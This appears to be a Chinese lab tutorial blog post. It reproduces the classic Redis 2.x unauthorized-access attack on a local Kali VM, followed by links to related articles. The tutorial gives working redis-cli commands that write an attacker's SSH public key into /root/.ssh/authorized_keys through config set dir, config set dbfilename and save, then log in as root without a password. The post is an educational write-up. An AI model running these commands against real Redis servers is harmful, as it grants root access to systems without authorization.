【网络安全】通过Redis2.x实现ssh未授权访问
导读
开发环境
版本号 | 描述 | |
---|---|---|
操作系统 | Win11-21H2 | 内部版本号22000.588 |
kali | kali-linux-2022.3-live-amd64.iso | |
redis-server(目标机器) | redis-2.8.17.tar.gz | https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf |
redis-cli(攻击机器) | Redis-x64-5.0.14.zip | https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8 |
准备工作
虚拟机搭建(目标机kali)
下载iso文件:
|
|
这里选择Live Boot
模式的iso,不用安装就可以直接体验kali。
|
虚拟机安装
|
修改虚拟机配置
|
启动虚拟机
查看并启动ssh服务
systemctl status ssh
systemctl start ssh
开启root账号
kali默认用户为kali
,我们使用root
账号进行实验,所以需要设置root账号的密码(这里随便设置个密码就行)。
执行命令sudo passwd root
。
生成公钥和私钥(攻击机win11)
windows自带了ssh应用,如下图:
通过ssh-keygen命令生成公钥私钥
手动实现ssh免密登录
将公钥拷贝到目标机器(kali)
在win11上拷贝一份公钥,名称命名为
authorized_keys
。
管理员权限创建目录
/root/.ssh
。
以root权限打开
资源管理器
通过右键菜单拷贝文件到目录
/root/.ssh
。
攻击机(win11)上连接目标机(kali)
查看目标机器ip
连接目标机:
ssh -i C:/Users/Administrator/.ssh/id_rsa root@192.168.128.129
。
攻击原理分析
从上一步中(
手动实现ssh免密登录
),我们可以看出来,我们只需要将公钥id_rsa.pub
重命名为authorized_keys
,然后拷贝到目标机器/root/.ssh
目录下就可以实现未授权访问Redis了。
redis刚好能满足我们的需求,2.x版本的redis,默认配置,能被外网访问,并完成上面的操作,我们正是利用这个特性,完成ssh未授权访问
。
攻击机(win11)上连接目标机(kali)
攻击实战
删除文件authorized_keys
,准备模拟攻击
- 删除文件
authorized_keys
,再次连接目标机,如下所示(要求输入密码才能登录):
目标机器的redis-server安装和配置
下载redis-server(目标机器,kali):https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf
将
redis-2.8.17.tar.gz
拷贝到/root
目录下。
解压并安装redis-server
mkdir /usr/local/redis tar -zxvf redis-2.8.17.tar.gz cd redis-2.8.17 make PREFIX=/usr/local/redis install
运行redis-server
/usr/local/redis/bin/redis-server redis.conf
攻击机器redis-cli安装和配置
下载redis-cli(攻击机器,win11):https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8
解压
Redis-x64-5.0.14.zip
,redis-cli连接目标机器:
通过
redis-cli
,在目标机器中写入配置文件:# 将公钥保存到内存中,添加回车换行符`\n`到公钥的前后。 set key "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/SQUPXaHJ7m2PANHUGcvIZ5wdEjy6wuEeQI2etYIeod3iE6udtxQtbOR1H3BsS9pozAX974w2+QLT1DrjF7V6zX8YEFHHG1JDhIyyNwf7OSstkcjSnlf8kmpQrGOwKkW78/yFRgoPOSfH2sONc0Ac2VzGEJFdU4tAYQMNUbpt+GhKezJjo+VG3wkhXlOXvgjqcyKN2Y9WuQ16bvrMrddQMzWoTzksxKBtoC/2ccLw6S9drnr/3xkKYUh8gzvcn2H/HR3hkA5rVZsfP/DrxuCN9jTVbjLmkTkXkrZN1qgQJX4rlQUjZM+/vu/c9dhNQ8iQAk69BjwqYDo2sO/UG7HYW/ao+l7FrvqbA0vNd56G6PJ6HH5rlIYV3awWGg8JtSMTbGmP91QfaN9pZ7AYyd+GSSnspbAjI2xRBnjxANJkEKBkLlvzieOzXwHhn76zJYpJFEvJcRYLJiv2a8SBBapO1tOfAIozGjQhV7ywREvssAkb8ggWWtloUutYjV61uzU= administrator@PC-202204131244\n\n" # 设置备份目录 config set dir /root/.ssh/ # 设置备份文件名 config set dbfilename "authorized_keys" # 备份文件 save
测试:ssh免密登录到靶机
- 连接目标机:
ssh -i C:/Users/Administrator/.ssh/id_rsa root@192.168.128.129
。
参考资料
- kali官网下载地址 https://www.kali.org/get-kali/#kali-bare-metal
- Redis未授权漏洞到shell利用过程 https://baijiahao.baidu.com/s?id=1728707427419719585&wfr=spider&for=pc
【网络安全】通过Redis2.x实现ssh未授权访问相关推荐
- Redis未授权访问漏洞(四)SSH key免密登录
前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...
- redis未授权访问漏洞环境搭建复现-ssh免密登录
首先,安装redis 我是直接sudo apt-get redis 安装的 然后启动redis 直接找到/usr/bin目录下的redis-server和redis-cli 测试连接成功 因为我是腾讯 ...
- redis 未授权访问详解
一. 应用介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型. Key-Value数据库.和Memcached类似,它支持存储的value 类型相对更多,包括 ...
- Redis未授权访问漏洞详细版
Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...
- Redis未授权访问漏洞复现与利用
1.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果 ...
- Redis未授权访问攻击场景分析与防御
主要从redis未授权访问入手,还原一些黑客的攻击场景,介绍一些常用的攻击方法和安全知识. 0x0 应用介绍 REmote DIctionary Server(Redis) 是一个由Salvatore ...
- Redis未授权访问写Webshell和公私钥认证获取root权限
0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Red ...
- 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...
前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...
- Redis 4.x/5.x未授权访问漏洞
Redis是什么? Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的. Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:6379,如 ...
最新文章
- tidb mysql登录_TiDB 忘记密码如何登陆
- 【转】NG:垂枝桦基因组图谱构建(2+3组装)及重测序分析
- 计算机原理期中考试答案,微机原理与接口技术期中考试题(带答案)
- pat乙级相当于什么水平_林书豪在CBA相当于什么水平的外援?
- mysql getline_getMessage(),getFile,getLine获取异常用法
- 【华为云技术分享】网络场景AI模型训练效率实践
- [转]Best Practices for Speeding Up Your Web Site
- SQL ISNULL 函数
- 1405 mysql 2800_mysql关于任何用户登录以及解决ERROR1405
- mysql 5.7.16 忘记root 密码 如何修改root密码
- vision画流程图的软件_程序流程图用什么软件画?
- WARNING: We noticed you're using the `useBuiltIns` option without declaring a core-js version.
- 【3分钟高效制作PPT】ChatGPT搭配闪击PPT生成PPT,你只需要输入一个标题
- 计算机会计技术特点,会计电算化系统的特点
- 【技术分享】IS-IS 概述
- 【智能路由器】离线缓存投毒实现分析
- 【软件分享】免费多线程下载神器,可完全替代IDM(支持MacWindows)
- C语言基础指针知识点总结
- 机器学习----纯手撸线性回归代码
- 分享一张JavaScript正则表达式脑图和来自MDN的正则特殊字符说明